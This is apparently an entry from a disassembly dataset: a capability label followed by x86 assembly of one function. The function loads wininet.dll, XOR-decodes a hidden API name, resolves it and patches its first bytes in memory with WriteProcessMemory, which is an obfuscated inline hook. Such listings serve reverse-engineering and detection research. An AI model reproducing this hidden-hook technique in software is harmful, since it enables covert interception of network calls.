Function at 0x44ff02
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
mov dword [ebp - 0x1c], esi
call fcn.004ca33c
push str.ani_Control.Ani
push 0x508c80
mov dword [esi], 0x4e6af8
call sub.MSVCRT.dll_strcpy
push str.ani_Magic.Ani
push 0x508c60
call sub.MSVCRT.dll_strcpy
add esp, 0x10
mov byte [0x508b43], bl
mov byte [0x508b44], bl
mov byte [0x508b46], bl
mov byte [0x508b45], 5
mov byte [0x508b41], bl
mov byte [0x508b42], bl
mov byte [0x508b40], bl
mov dword [0x508b48], 0x27d8
mov byte [0x508b4f], bl
mov byte [0x508b50], bl
mov byte [0x508b52], bl
mov byte [0x508b51], 0xa
mov byte [0x508b4d], bl
mov byte [0x508b4e], bl
mov byte [0x508b4c], bl
mov dword [0x508b54], 0x27d9
mov byte [0x508b5b], bl
mov byte [0x508b5e], bl
mov byte [0x508b5d], 0xf
mov byte [0x508b59], bl
mov byte [0x508b5a], bl
mov byte [0x508b58], bl
mov dword [0x508b60], 0x27da
mov byte [0x508b67], bl
mov byte [0x508b68], 5
mov byte [0x508b6a], bl
mov byte [0x508b69], bl
mov byte [0x508b65], bl
mov byte [0x508b66], bl
mov byte [0x508b64], bl
mov dword [0x508b6c], 0x27db
mov byte [0x508b73], bl
mov byte [0x508b74], 0xa
mov byte [0x508b76], bl
mov byte [0x508b75], bl
mov byte [0x508b71], bl
mov byte [0x508b72], bl
mov byte [0x508b70], bl
mov dword [0x508b78], 0x27dc
mov byte [0x508b7f], bl
mov byte [0x508b80], 0xf
mov byte [0x508b82], bl
mov byte [0x508b81], bl
mov byte [0x508b7d], bl
mov byte [0x508b7e], bl
mov byte [0x508b7c], bl
mov dword [0x508b84], 0x27dd
mov byte [0x508b8b], bl
mov byte [0x508b8c], bl
mov byte [0x508b8e], 5
mov byte [0x508b8d], bl
mov byte [0x508b89], bl
mov byte [0x508b8a], bl
mov byte [0x508b88], bl
mov dword [0x508b90], 0x27de
mov byte [0x508b97], bl
mov byte [0x508b98], bl
mov byte [0x508b9a], 0xa
mov byte [0x508b99], bl
mov byte [0x508b95], bl
mov byte [0x508b96], bl
mov byte [0x508b94], bl
mov dword [0x508b9c], 0x27df
mov byte [0x508ba3], bl
mov byte [0x508ba4], bl
mov byte [0x508ba6], 0xf
mov byte [0x508ba5], bl
mov byte [0x508ba1], bl
mov byte [0x508ba2], bl
mov byte [0x508ba0], bl
mov dword [0x508ba8], 0x27e0
mov byte [0x508baf], bl
mov byte [0x508bb0], bl
mov byte [0x508bb2], bl
mov byte [0x508bb1], bl
mov byte [0x508bad], bl
mov byte [0x508bae], 0xa
mov byte [0x508bac], bl
mov dword [0x508bb4], 0x27e1
mov byte [0x508bbb], bl
mov byte [0x508bbc], bl
mov byte [0x508bbe], bl
mov byte [0x508bbd], bl
mov byte [0x508bb9], bl
mov byte [0x508bba], 0xf
mov byte [0x508bb8], bl
mov dword [0x508bc0], 0x27e2
mov byte [0x508bc7], bl
mov byte [0x508bc8], bl
mov byte [0x508bca], bl
mov byte [0x508bc9], bl
mov byte [0x508bc5], bl
mov byte [0x508bc6], 0x19
mov byte [0x508bc4], bl
mov dword [0x508bcc], 0x27e3
mov byte [0x508bd3], 0x32
mov byte [0x508bd4], bl
mov byte [0x508bd6], bl
mov byte [0x508bd5], bl
mov byte [0x508bd1], bl
mov byte [0x508bd2], bl
mov byte [0x508bd0], bl
mov dword [0x508bd8], 0x27e4
mov byte [0x508bdf], 0x64
mov byte [0x508be0], bl
mov byte [0x508be2], bl
mov byte [0x508be1], bl
mov byte [0x508bdd], bl
mov byte [0x508bde], bl
mov byte [0x508bdc], bl
mov dword [0x508be4], 0x27e5
mov byte [0x508beb], 0xc8
mov byte [0x508bec], bl
mov byte [0x508bee], bl
mov byte [0x508bed], bl
mov byte [0x508be9], bl
mov byte [0x508bea], bl
mov byte [0x508be8], bl
mov dword [0x508bf0], 0x27e6
mov byte [0x508bf7], bl
mov byte [0x508bf8], bl
mov byte [0x508bfa], bl
mov byte [0x508bf9], bl
mov byte [0x508bf5], bl
mov byte [0x508bf6], bl
mov byte [0x508bf4], 0x1e
mov dword [0x508bfc], 0x27e7
mov byte [0x508c03], bl
mov byte [0x508c04], bl
mov byte [0x508c06], bl
mov byte [0x508c05], bl
mov byte [0x508c01], bl
mov byte [0x508c02], bl
mov byte [0x508c00], 0x32
mov dword [0x508c08], 0x27e8
mov byte [0x508c0f], bl
mov byte [0x508c10], bl
mov byte [0x508c12], bl
mov byte [0x508c11], bl
mov byte [0x508c0d], bl
mov byte [0x508c0e], bl
mov byte [0x508c0c], 0x64
mov dword [0x508c14], 0x27e9
mov byte [0x508c1b], bl
mov byte [0x508c1c], bl
mov byte [0x508c1e], bl
mov byte [0x508c1d], bl
mov byte [0x508c19], 0xf
mov byte [0x508c1a], bl
mov byte [0x508c18], bl
mov dword [0x508c20], 0x27ea
mov byte [0x508c27], bl
mov byte [0x508c28], bl
mov byte [0x508c2a], bl
mov byte [0x508c29], bl
mov byte [0x508c25], 0x1e
mov byte [0x508c26], bl
mov byte [0x508c24], bl
mov dword [0x508c2c], 0x27eb
mov byte [0x508c33], bl
mov byte [0x508c34], bl
mov byte [0x508c36], bl
mov byte [0x508c35], bl
mov byte [0x508c31], 0x32
mov byte [0x508c32], bl
mov byte [0x508c30], bl
mov dword [0x508c38], 0x27ec
mov byte [0x508c3f], bl
mov byte [0x508c40], bl
mov byte [0x508c42], bl
mov byte [0x508c41], bl
mov byte [0x508c3d], bl
mov byte [0x508c3e], bl
mov byte [0x508c3c], bl
mov dword [0x508c44], 0x28d9
mov byte [0x508c4b], bl
mov byte [0x508c4c], bl
mov byte [0x508c4e], bl
mov byte [0x508c4d], bl
mov byte [0x508c49], bl
mov byte [0x508c4a], bl
mov byte [0x508c48], bl
mov dword [0x508c50], 0x28da
mov byte [0x508c57], bl
mov byte [0x508c58], bl
mov byte [0x508c5a], bl
mov byte [0x508c59], bl
mov byte [0x508c55], bl
mov byte [0x508c56], bl
mov byte [0x508c54], bl
mov dword [0x508c5c], 0x28db
push str.wininet.dll
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], ebx
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], ebx
mov dword [esi + 0xd4], ebx
mov dword [esi + 0xd8], ebx
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xe0], ebx
mov dword [esi + 0xe4], ebx
mov dword [esi + 0xe8], ebx
mov dword [esi + 0xec], ebx
mov dword [esi + 0xf0], ebx
mov dword [esi + 0xf4], ebx
mov dword [esi + 0xf8], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [0x508cf0], eax
je 0x450579
push edi
push 5
pop ecx
mov esi, str.C:windows_system32
lea edi, [ebp - 0x11c]
push 0x3a
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
lea edi, [ebp - 0x108]
mov byte [ebp - 0x14], 0xa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x11c]
mov byte [ebp - 0x13], 0x54
push eax
mov byte [ebp - 0x12], 0x28
mov byte [ebp - 0x11], 0x12
mov byte [ebp - 0x10], 0x1b
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 0x1b
mov byte [ebp - 0xc], 0x38
mov byte [ebp - 0xb], 3
mov byte [ebp - 0xa], 0x39
mov byte [ebp - 9], 0x1d
mov byte [ebp - 8], 0x2c
mov byte [ebp - 7], 1
mov byte [ebp - 6], 0x18
mov byte [ebp - 5], 0x24
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_strlen
pop ecx
mov esi, eax
xor ecx, ecx
pop edi
mov eax, ecx
cdq
idiv esi
mov al, byte [ebp + edx - 0x11c]
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 0x10
jl 0x450511
lea eax, [ebp - 0x14]
push eax
push dword [0x508cf0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x18]
mov dword [0x508cfc], eax
push ecx
push 8
push 0x508ce8
push eax
push 0xffffffffffffffff
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x18]
mov dword [0x504171], 0x44fc00
push eax
push 8
push 0x504170
push dword [0x508cfc]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x1c]
mov eax, esi
pop esi
pop ebx
leave
ret